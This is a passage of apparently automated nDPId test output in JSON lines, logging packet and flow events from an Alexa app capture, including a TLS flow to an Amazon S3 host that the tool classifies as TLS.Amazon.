DNR7v5PtOxPvNqnTAUaZOxBxOBw8qIkAgXzqKRWZIoD2XYRFsRzD+HCsOVMc0FooKXz9SCPfgbCEVbzbiotnYhMvrfjYiHEXb5DPSi4BczhWJZeeG\/M1fqd+UrcAsNeYq+ps1sJNQRfIheswrDrP+yn\/6oVBgbraDjRDNpAR73\/hgfKb1BLTZiEP7XcXjtF2Ve0hHSE3YNi55xGvFKeNmQYUeamfNMyYPCiVfkHpcAXq3wWN7prYPx\/7aozQsKeKtlrYVKZOF2BHgaTGjowSGV34jhEwChPHfSccEXrJKAMxtZR+vsC6+HjpR291Cti2IDs4A5U67YCFVN7KfgxucX8aTTooDQ17TBq9YKxi1rjkM+l2wBpsUTxgXylQW8osIpbIGszIi\/\/gugaIKbHwGWuN+eVJ0\/sHOXOeCeyu8\/ZSHs16\/JmokshEX5npHTI5seL9ykIVkwkrMkxvZMEwcNkT+y5X26FB0hvVaAEhw76M8MI+xtOcZqd2le6hiId7RZV1x4oXrNPq2SD\/vKbqDuVjW6rgEDgvwWMEgtZTBpUUyB212o9hb\/vrD+2IcPdPeJdVxKazxvZh1jkIO0+Dpy54sc5dGspxBnETqGNCIjnQM5l4SRu6l+X\/usrqsJYxcD5xrz+ursF1QwsdBRW3MzT52VisKJSNEejAvK8ewgcdaJn7cxqGLjalQD4IxQ3l58YP7bGePbW61CzUJDR8R2La62sDeVejBpyKXnq\/HKmyAcapRPMMLkiDaAfgheaSZny5kL1BDNonLmW6JlrwEc87Q6kg5WDOBMh8qpZNgjYhZO7ba4vkLqM="} +02302{"flow_id":95,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":993740,"pkt_caplen":1439,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1439,"pkt_l4_len":1405,"pkt":"AMDKkaPvePiC0\/vCCABFAAWRo9JAAEAGawOsECrYNu8YuoUVAbs6mslo6VPnyFAYAVsaZAAAorwvKCUypguS0t0clDFKU1VIF\/yIcCrecT8LlV\/7GlRC5Qmweu3RBIA9rBJJi4ok0UJgddYCY4xTn1gbUo+NHhl21tUZQ4O5409uBwBqPYrOswCxOYF31HDaXlv\/iBDwd1srdg2s35KAYwqGi\/ai39a0VYOnGwz1G14ulaQOK3l7bO2VLeF+m8Qz+xAmfO5B3KpZjbs6mqC8cHcrNatluouZyus6CPvhlVaeJoO8yjeEdJdpGfQFw1Ew61YBiD7\/TDt0IPF31DFovoQ55wD0IBOEFh4R0iWYZ6ebPOD7xZBZOCVg3iuqTA+MyiGX+JmGO2tK3TluE1floqmmdVbCQEgeEw1ea6lKStIDmeBoxVrRkbBWz53ajdGSTpQZtEsmQPL9Sdu4AFlqobPlD7HOUFnNO+fZ7xyv3Ew0pvthSXLKgCregPpIH1Xl9S4AOly3HaMQ4mSr+vgnbRDoK2nCWB\/jFF1IyGaQXimEqTK+p93+\/mCrH8nnzMuXVV493yy4zrO5\/i0TM7fHH9VWsWggE4wOsNiJtAg38WetMkk8HLZRlTv+wTTvTEKcucJYJWokARNUi+bTqHruvGGgvKoYna50EF6cscrTeazdJA4iEGOWQjW4uc947OIZ\/8uoHSyLSCTtO2SXRuqSRYQGLdNEujxfcAyhrOa6X9tn2Kw6aggzMw9alBb1SvtMx1wNNzvm2VZf7vit9CiKzp4KGMN\/nJ9yF\/Who+fRuwPST1NlmI6KCzsoHzoMmyf8dN7SkK90qJgOuaKo+O3T\/TKkm5fdYunrptbadqcTsVu\/qwF\/Vb33Ghtiw80WH\/T+hV1ohVeYE\/+Ug9fCMwmenQhMVnePDukWIejC+elRL7naEhQG49fwcOnHNQzYi9AdRKeCFwVvRJoWFWtSDmQGEwNC38sqhXAZzsr\/jIHPU7D7gkH1+XAXL\/JE6Ws3IbgGuY3WaW34LKcc5Ghc\/cPrbeSOmw9j0kUina08femOG\/8baBi60eIdC3AboFi8OdvbLzmZ8rYpTROt+IFAAMgjlK5DZyT3veAlGpLrmD5HYIlolVmgTZj2AMRMuXpwvZgaHooh0qAMCdQ7sTE3GIE\/eOHth6iAzcXFUoeOmIxwKV9fN+6pJsSEXq7pLKt8cgXRzmv6JaMInXk4OiHQWXE+Hf56iKzOcJ\/mrh71Fnw0VeWSpa2DOUd4zvkA3mJSSTnkflHA+pLm9edSpECb6SSup3dRrilywt91z\/dZJenzkDggwrFIYyaChs+yq9fsnXEHCCbzXQ+g\/A\/HBA0ZA13K9pF0mW2QfjbRy4JVYqzFvXQw4QZm+fFjCjAL5In0qxZ7ZRorDtTjilEj0QSXLwplgC+ApyVbdX3h6\/bi0dx+YfdUIc0jomhA\/1Uox\/BOvGRY5JEEhitlDachDk3b8Iwp7cevR49RVxrL0K5hsTqneRrXWd86o6UBByHG4gyN2z1PIrDGmI5UWEA8zNSbQpI9ikJzYMkEi3W5obPW7LFJIuqMGv9\/MOnqLi6\/r6J94Q33Hw4C30AP+4POuk6d8Z4v5uk8mSmhS5K4ma5dl5A99ED+mUZzZopmhQgneGEqzhPW90Z1K3ZuHkwuc0M7l4rbrzxJhR9sUugf+rHp4i9SBeyEUtYobi5+wbljiBl7AF2UTxmLiNTipJmG1e15QqyXNNbkCTpEqSH2YHaK4Pxa1vgqRaBhYxyW2dl9TO2mkI3LVWataIo+NCqmOGp1t4H+v7EiM+OLk+WcBM4BWADmAmWmUdhWppIHSyTuToFiaok3PFxt9hG51V+YpyErL8FAFdO\/f7K27d\/F0ugovo6qdeqGaUiPjye7t3KDSSAnJ5c="} +02394{"flow_id":95,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":993988,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXco9NAAEAGaresECrYNu8YuoUVAbs6ms7R6VPnyFAQAVsz6AAAFwMDHH8AAAAAAAAAAiRgnpmPrnekPjwsbZwI39GP9fbReLrv80EoLbmMJVyYwj2R6u3N+6rxWONDyDv+0VO1WYuyKnUq37+3ya9RXHPAZZtJYHo5vN9spF0O3GwrSBH7PmHQp8uF00pffwcGApoyazrg0265lATJBmRfoeypzaMfIAlaWF+VNL60mzt3cvGCoRGvhOvmA53xa6OTc0nWvRgCjc8sMSvyD4CuOuWBhGKBpxEeJ75RMclP0NMcxUlJM0k6v6pTi94Cqd\/P6j80RJB32yCrt5oo\/IO9bTsIHylLVezp9UKVGNNouch5pw8iRc4wRbh5si0MQvYtaK0fSI6xTMUr97HwjQfxOuREQSDnmNBRmVPnX19\/8XYTcstj9rOgjvsbzN3ge0UWValxG9y+0comrO7wOCf6Z3bq4GmIZm7OgSw+FpongAK0PJ9lLFVFnuRznWFSaF7QbUCplK0hTo0b3ZHudu856DeaGa3k1kStHx1YjcKlaanvaSkPwkTggn44YHADmscdkSS3WdXeBQ3TmHF2G4\/rq4D8EK+c4sCU3XvAcF9DFLte4egFL\/0uIvJtZaYZYknrLg6\/yk4dMZ5zxbJ+9b\/c4Bp7bhmkBWFo3JLIRsA2MbyN\/DH5XvmjlH+FqgxQ\/qb06M37shhVY7eNTlr0JQ5U\/cfF8UHQBc01SbNTFCysu8TyK0QhlFwP6dIwAF2t6hY3Ej2tekbOCyVL35nWq7nkso+7Y4bHPnB25spKP2JjLP1SQnEuUCn72rRfSu6FKyBfcmalM7RLAHd1\/4fVhk\/OhGmunxalqvIg4xEnUtrkXXqkIhjex\/zMqgzegg74J52IQz+0dMNFZjWp3JGCyQymJGEmJ4uPeIL7B+N8hE2dGbfBIOCOdNQ6YkXeo1O3rcyg9RMWuXX63xr5dJkcR\/x76W6tNiJ04F0A0FsMVd+EaAHWmxVg1pQkoY2aDXH7KMbJcnnWQVU\/MoJ3XH5csjqFHfkCNEA6Pqqjqln6sHjTEFnwJ0RJFLPwY13+ONjLvV9Ay7SURD+pdBI3FqwRAGlCJAycTNHbSaK15N4lSYyW3FolEEjEF4qBQ5wQmobr3x8Tm5nkYtJlK6+hPPZngHWQQD5ubMAQbDPa1PWPHwz08CUsMNKrJ1jvMy8Qsl+Ywd4csXR7ZYIR6PrfRa6JIONAOnkg6DumfTbIlYA8C5y3GyNQQLpHtxCjG6JUKXz7gIUjTY+pvVRl25qVKwsOLYVrdxLUYCqbwuka5rR9yEaIuby5d1\/5TqZe6pORTMVO0zdnPvRlCcy\/uPwPsKv6hdQjjTf2hAERr4FQbPvRRhCvD9NyymETOq39Zaq0ewdjoHhJOubMCJAq2qVEeFWpIY0VgQ0r9UkPUnWFZe7ZiG+92InvRxG0ac8XKovRBsT8vVoCbKoPg5+Xv0tnqayfBemjsWxNczfPEvjqSpjXHeWUbnxKpjfHCDIPEIWEPoIzd5Hlxtf9Y5ZojeBbYlt9jDmKKh3TDKGfS\/nHi79v9pCxdnvjUX7Eo1TH7RRFC\/GhPJBrb+J020G1xddqmPuICKaXZNR5vbVsHB8V3Mc32cnyUxKXXmBFeMDj7L++LyB1Kp2RveEgySeoX0pLQ5nCwnIAlxXpRaMdVgzPLrtC0fY41HNoEVvZ3T4tcjUuFKZLa+ImG22jb4k81GItCgGKnDaEg9ZQpM68ZkLNyS2UIr3KKN9CoB+YfuvllgCX1jZWCKDSIwFVVfFFb0f7i4\/JhzYgrAqKeGh5l2krM0k\/FR7V5EIUO0lSvmas4FQPxb3QZuv19RPp4mshlZVkeEJ83gKrzm9vmO+DH1g57AIIleRs8JPy\/p\/STNnnK0xrApbLuCnuGvJjtlTq9awGZDUquib7gaG1KISto+5wtM1jC3LlNDdiG0\/EVX2jyYzSW5gaPSIuL0QnpzciZHQ="} +02409{"flow_id":95,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":994137,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXco9RAAEAGarasECrYNu8YuoUVAbs6mtSF6VPnyFAQAVuj0QAANxCfH8vwgkGACh4y7Pi6EXB3SnTfaJ1uWa9Z+l24sUibdzYOToF2OSUwVwu0FdpAe3m9J7bkVPfDfB2Cg3UEAEJgbXbd1HveTgo3qmgnQN\/k\/tmUW6pRreeMGu8zYe7EK5FdFNZwIaLBv8OtSqZAa6lOheJIJz23sfejkCcct50UhRTELX3fE4HCu9BxxeoXdpgz\/fvGHlCHlwFMAqf2kmAF4U62ETQ\/AYeN6hjWbPgTjN8QSxZZ13xdX9YE00ZOjmNLyDiqn2a605n9nri2y9YQAm2sYPpHedsZXTZRMkkgKkWMY+0TtAHlb4RGfbMloMxLna9D26v8rliMXEmRMhOSCToqExLmk\/VNE6tgEfIC3gdCTMpRqyB0yRPxQmA09hYi6OVFUCe+t5fLrhJ0KAicJg7Lt09CrfUmhDY8uyB2+mYO7IIYLTxu70uuzOmx3yt3gpcl0hO4f1pAJhK\/rmlAJR2htQvgFlxhBA6FPMqsNtalU1QhsJWqQdC\/KkSGc6M61KEG2nRhpoY0x1FDHXDozViQqXzcwZLI4BOkic\/u6Ozr+75CTlyLoLE2qmG6qitOJbVB6FlzZ\/C7c5X4G9vhvrffI1wDFjNq+Co19z0VpCxEpTo2UYLXKjVVcoZTWQy9jX6LT7eQWqvO82656j5GZZWZLkiZ0AhKMAS5zbbk0IfI3dkjB+re8uo9fs4GuAP3s7z8xnW0tmZRkG7Wj9N\/P6E3quHtWZe4l1NtXUT7KdgZhYg4mYSj3VMTn4e\/c+4\/Tpoy\/PdiZKgdY96mn92zPsqPwMy\/H1hG66WMa7TdZ9h94sIRoWQYDPGM+34EV6SAQzdF7rdi5Oodv1SiNMaKR0XqdwJzExjafGwJM2LWKgtbEJrHNBxRJDmb3SWHnrMMArc\/\/rjCZrNcUxAYms5fctfD6FZTfwDaIe5rXKiK7zxgf3dfSKoXgDb5AvaO2r7rtiHeIWp7nd088KoG2IbY\/a41\/XeL93SlWCjI0fY23UHUcp\/qIPOzINy4TDzZRlwGFtv8k70MH3FpG43J1nAQYg99HBfj4\/5gh+M964M\/HDbpu4PQG9qfInFCXqyDecXZ+g9ZdkYYO1epLVUguy\/NwzXQU\/OmuqUGJJZsaqVuBcjLfV3VzbZDKvsQJwbuC5h4LkJuUAkAsLI8rZ47LymfVJ3JMBdlBAGCY0e+MyD0++FNJGyC7C2YNMfVUbtugA7xLATO6O4oScNsZXdhRh7Yzvs+WYLfqGoymVFWgO55fCIvuGor9\/hBpfXVWc\/U3awUvcmRyRWX+TaEbB5zo3RcyGTmUJOB5oDcX0\/7kIEXvW6GCIW3W2adsF28ZNQOV6TdPGZACfZZzemjt1M28JRlyaTiEFWXug8adPLQVkWfqgIZZGaAi0s+108qI4srGwCmk4y8ZNHYWrheTCFd9swLherWCPyym++0M2iozjOjlrftGKlI1HxERrNUiyzcxyiWiXYOP81aQRvk9ooMxHzssKw8UPVVFJtJmrxBjuzntvS6D0eM13SwoeosZkNU3OeWiGWVCg8kL\/flvyhh1BtjGItcdOWtR\/\/D8r\/thxwWFh3XL3+elMG\/5GRJjy3SfrD7WVgILnKoYTNbvV8a1uhwYHk6U\/RfvWfeQri1W2Fp7NFF\/lxN8TzaByoCcPyKCH\/Hyq8u03P5zD\/vTleZYwk5pDe+hnEz0ycPl+WKVYZVsUhREXKTab7DXpL+\/4xkBF6Qya0735IcoO88GFsfeamFoVPDq+CeuAoL6pncVZL8w5dvIWeDVKjIb3NKPduDW6coexygISUfvkzLKb96cO6QPfpbT5AYLxlES8VKqoQuKTiGEGbMP\/B9t\/RJjqBFrfQu7q3eF8l4ibLSdpIQiiC0N1U4fddvZGoEQJdAZXX7vvwn49D4+E4L3CP6atkDU5oA3kGl6b3t1kvodxFcX\/Vdsnw="} +02390{"flow_id":95,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":994284,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXco9VAAEAGarWsECrYNu8YuoUVAbs6mto56VPnyFAQAVvo8gAAYCTMOMys2Ttgk7Blj9qH3ZxoNq5JXaVFLYv\/gP2Zs4jGleDDHo79Db6PHnhDw79qEiEr7yPJTrS2I+tU74+8oZrJFMI3AOdWVESIUWr5BR5Kra0l2XWZ0vn2b5O1AdqBl90W06IMnZV9Bmqf3\/PXWRh195gQAZ77uGEPM3QUdXmEqjADw3K0UcS2qHafOXJnqCG5YhHFvOElTcvlFZN6H0J0bmHHq6LcEXl8hOVrNPNyxP+whEGl5NoAbVZCrf4OYnMNcNs6gYvBvbdcXS5T0hXXErz5IPZ6X5ab6HEAA84fKUxdKe9dMmSDoNSsK4I+EGkz35UdSjBRUqHhT7kYASGNCtH7sNsO+cS0FzjS0Y6oCNxwzx40CUBP3NezY5Nbug9q70V\/1VQZwA2AwhxCTBUXkgFrbDtJjVcv76eCLhOp7EmMbyVksLYEbKIM1UOinS7ruUf2E3tZfJbRie0jGOT41jyVr45q6ENNh3IPs4M3WJQm+fZvcp9psfKJ0ZFp50Zba8IEJHoMhg3UccBP66WA9jSp57yx2DEKdT9KAd8vL6YcYFpkupL1ezxaK2Csc8DgzxnZ84\/dDYWMoh0HWmoWyuZ4orNJyz0JA5IA6TI0pJ7LXJgwF1z188ZfODTlTqeULkR8kFAzHqX1lXVZgr25p72PTV+BrBF\/K6CSyoSJl1d0MNtKQ38PBk4Rp+77Dt9tQIDb3Upr9PV0aztX5DrK17wAcw9UuL2giDcUNsy0jRS9K2q2wydBYAyAu1IusmGy3RDExnaXjiN0ufRCvx1TDdUU0pMnUilunVwp\/SsyiPYzzpORq\/Z24EwJb69NcsinD9oppAvOc+wRLmEofKTmslGAFipPHUfcXMEXjnGRQUgp10GqAVkpVUd3cEBtXezlH6fdaSl\/xspSax82uklb032GNTuwuxvyGBU8tHUjdMhGuyJHYvGqf6nWidTUpl3eyYnEmoKL1OUEHrIjigNh8PoJKiKA4rolQEG++2+RoNcBphO6VtYu\/JeLc6dHpMTs6XTirsiuMNGK+WiLuYliJ5wzE2y1vSzHzog6ChLp2CpydJYAXh5E6h7wEW9yKsnCVwygQREIliIGGxhVoOFTmt6FH4z98GeZxYfYnVIF0+saZrSQdIw83\/2VTxID184IY2\/tjsDByNZMrO9j2y59tYp9jD4+UZdwvvNKJQAuszJMzoTxSS1CSPGSBcOq9OT48IBmHvWGVKZRXtfPXSq45utNmOKksmt36Ffz1IyX63od\/pY0fIJllpcJDJGNPbDcHYbL2bdkkcHIoRA079etR5eEA3Rzyrs9Unoiw5YNnPfWeubl9E1cSzy6Lw5UCdqpgWdpvfKZIZqaRarUq+e6Pp1r5cl6QhJgJsKJSYTZL6ZUam5ilWsDrHJ27D2ugT50eYPTo9NBsJEK4XAZL6gr5V8T2OYR7XLh+M1rQCAqa2Q3qicomu0UlG69Upi3z+06J7QsDsKWfAYTlSXMyhNpy\/BqpEsySKyuggxRZDsn6IMjF4r+v\/ZRSZlu1JOSqg46KYC16lX0pXFA8lQg9PHlx+WkFh\/ju2W26cIBlcR1IebaOzX2Dr3s8wDR2N\/jV9xLt1MUUW7P7FMPNZEbuHZgh+zChv+eJx94LqzFxrAg8XcBMEX3o9mwPpCxKeh+Yk\/p3Ywh0rvlR+xDbAWp\/PdlLgPI59mizLPvjnU1FSo++jmQxmhl16c1ihUOevrq7YvcMpmZ1kpU0\/fP+v+hdXQINmecfS4aKSF35tmvIr7dvgYWP0Q1Kem37uSmDrIvbEpeidD69jVBROvrvpnHDTENhI40SbGvglUb1kZryyII94XncYv3tAo+WeipC\/2+wu1UCNre8jXD9TVtuvomYeKcM1kmnDbIuOoxRbGoDAfDtpQl35CxzixB9B6G3GCre5aQzU+zfqE+S2fDVST1dnlPyzA="} +02414{"flow_id":95,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1431,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":995725,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXco9ZAAEAGarSsECrYNu8YuoUVAbs6mt\/t6VPnyFAQAVtGxgAAqYZDyQ5E9TA8X4p7Y6l4dDe5umR7MFmlcORuTtnUamoJjw8u7zAy8E4IfcM9t52FeiGOzi9FV1NN4wZEp6tOICBoP4m4n1iJP\/R+PeJSb2L8Dy+D9weuCOsL5nYfUU\/FUResu2HMISj+TurqnRPPe+4KkUOA4ivh5R3ZSdOYlvlAEKiILHP7q2SKA20it9pr3jhi+ad\/TUIjnJ3ThXtRO2w2QjMUwjCwywzq7Y2wSL1s9TwEK92QgAYYk+PuLIOa\/YGI8kNdOWhV7Wyl79dvNuyHt38kuMpi0OHO1W8rBVWpG6eoMwMkfDwQqO05RGWD\/7IAlhE\/bnN7A2NhyWRsSAIJsEaYnJhjI57u+ziErua7wXvFhJWzsReeEiwKisLSj8g1FA30PjNtuBhiyvZV7M8t7pPZlZQKtv1vuUQeyjUHfdFIgLrbf1Gt0qynQ7+qjZTgMW\/QAKF\/FfNGXGbNyqk7FEsxXk3TtsQDRSaTzCY631ml6hLyzg\/GntOdz1dTU7o3upUxKOnOAF9U0icV9XUV8hzAT1mjJw1nhDdaByf6Rp6jNesDMjlMEMvNMAYSKLpe\/4ECKHdaFEiEEqRg6jANUyHGEF5h80AW7W0HqMNgaJw\/pMIUCiETsxk1Vz1Kj2Ts\/J65bm8CaMSMxC1tHTwozaxgqwZ29rvvrJOl3wVT6NDuvZmUhZN7JwNyF\/z0\/5r5880rKRedAaHXUvZggCdsT5CmyUCOjIWSXp0FwkiS0cZ64ltnBniUPaGBzBP2\/Njc8ztFeXTvSX6a74k9Z63lfL7KUs1+YBFMiB4CAR9rx8YP+D2j2qaepb3604zMMyKk3AIkFjLQN+JYABxShGarjDSyRksR4Gyhz6WMAZWrwC6IzMHml\/uJgbbFkMuTGt2Mh8RKhN\/7rGUpNUmJyyT94SeSU1szQHMV6vZtjokS6bM0Q9XbloRVkJPpYbtn1IsEjvB\/El6OyjSxYY3ty17IXrofHBASqfxN+EHiPZwGk8VpQM\/6MQ3KeydunU3cLMSZQZX8Ir8TkUwWUH6mSVof\/n6esglM2ryMSGbTs598ZA44oyp6zpNwLMlrXdjTJ23E5Yseshl7qewQwR4xdEBopne\/9gnOsI2AQqR7TubK50k+EKFaAhUGsfaHRH+eArsF+vbEBFuo\/MUKWtD\/GZ+vB+BnDdCsYxiHCkjzrz3576HUNiasVKvd2XnGb1XZ+nEh6qZdmR0RRvuKxsxeM1d5s4wvf5oiQ+OriiP+C7Vh4zmZYcZFJzu0G7umRvyYBS2IBbkF1uQuzNVxOoH3ntlz45R06TEIzqLyBi6OcfdKPO4jlBGVf3bm0uRLVmyJuMw1Xg6tjd82CxkuvSudxzYvWR5w0\/A\/F\/EzKZ6UXDr1YAX\/j\/c0Awd3YN3DnHfH6TG3+hE38YaNQ\/lR2BTB5M2BkQIO0dWUEJrzfvhPGX7KVwaxAiJv+t7dhBzDps6xyUrmkrYO8jZfDntFpJY1UWQR4\/2S0v95lyNJE3g2aOMd\/1pGi0LzGLbs2McJkmKKVpPl+qRE3GI0QjlaEiqh+fJM9jh85nDBeoRgaGVewzaDdCMbcny4+sLmD7bthRr6pthg4d+v\/pe40XXRgwI\/RcSdzshDJ\/zSwiyJiIsVtSao7WuDtiePizRJP1QUaCmpvg+7Sy2ksglPxpYexV6A+U9FB+w94\/FHFfwxvros4C8+j00G3UtpGFN+NpiY+xzQCqwjpA9GE4rsavlDUJdvVlOMd4\/H\/8r2pfz\/PKynOANeJL8hEaiVe\/w9cnlYn0Tp8+x7OPezwPHFpGMvVb3LSMMiRUFclLubc0k71\/JnMehpaVJZia+Mw6qsfG7jgQhUrHnMje\/ycamUiI1IgCIR3rnmYN8mm6wbDsZWusG\/NcJQq8MM7isF7VdQmaXa7\/F6RWOrjJhVW7xPDYJPHHXVkD22oLk="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1490976091048,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41821,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1438,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":48429,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA80ahAAEAGEuysECrYNudIWKNdAbtkFLBIAAAAAKAC\/\/\/ViwAAAgQFtAQCCAoA9mHgAAAAAAEDAwg="} +00433{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1441,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":160874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0KVkAACcGFEQ250hYrBAq2AG7o1w0YmduEBUO+4AS\/\/+yAwAAAgQFmAMDCAEEAgEB"} +00415{"flow_id":97,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1442,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":163241,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyJAAEAGdYasECrYNudIWKNcAbsQFQ77NGJnb1AQAVf4XAAA"} +00708{"flow_id":97,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1443,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":163513,"pkt_caplen":269,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":269,"pkt_l4_len":235,"pkt":"AMDKkaPvePiC0\/vCCABFAAD\/byNAAEAGdK6sECrYNudIWKNcAbsQFQ77NGJnb1AYAVcUGAAAFgMBANIBAADOAwPiWwT6rMYxCKpzwVWlHQ4+YJCqbihOIRaiGpLsY6Y1LgAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAhQoKAAD\/AQABAAAAACAAHgAAG3MzLWV4dGVybmFsLTIuYW1hem9uYXdzLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACFpaAB0AFwAY+voAAQA="} +00744{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1443,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":97,"flow_packet_id":4,"flow_first_seen":1490976090991,"flow_last_seen":1490976091163,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":235,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41820,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s3-external-2.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00433{"flow_id":98,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1449,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":217295,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0Sq8AACcG8u0250hYrBAq2AG7o117lZ8zZBSwSYAS\/\/89vAAAAgQFmAMDCAEEAgEB"} +00415{"flow_id":98,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1450,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":219669,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo0alAAEAGEv+sECrYNudIWKNdAbtkFLBJe5WfNFAQAVeEFQAA"} +00423{"flow_id":97,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1453,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":345076,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAozJ1AAOcGcQo250hYrBAq2AG7o1w0YmdvEBUP0lAQAD74ngAAAAAAAAAA"} +00543{"flow_id":97,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1454,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976091,"pkt_ts_usec":345211,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"ePiC0\/vCAMDKkVoBCABFAACEzJ5AAOcGcK0250hYrBAq2AG7o1w0YmdvEBUP0lAYAD5MZQAAFgMDAFcCAABTAwNY3n1bB1IWchbASFbdS+TEN7MPbREAIen8zENYwPlHZyBPSeLkXjji7rxbuBfRuYdiOn9o7tUR6tCEdV9ZFui2uMAvAAALAAsAAgEA\/wEAAQA="} 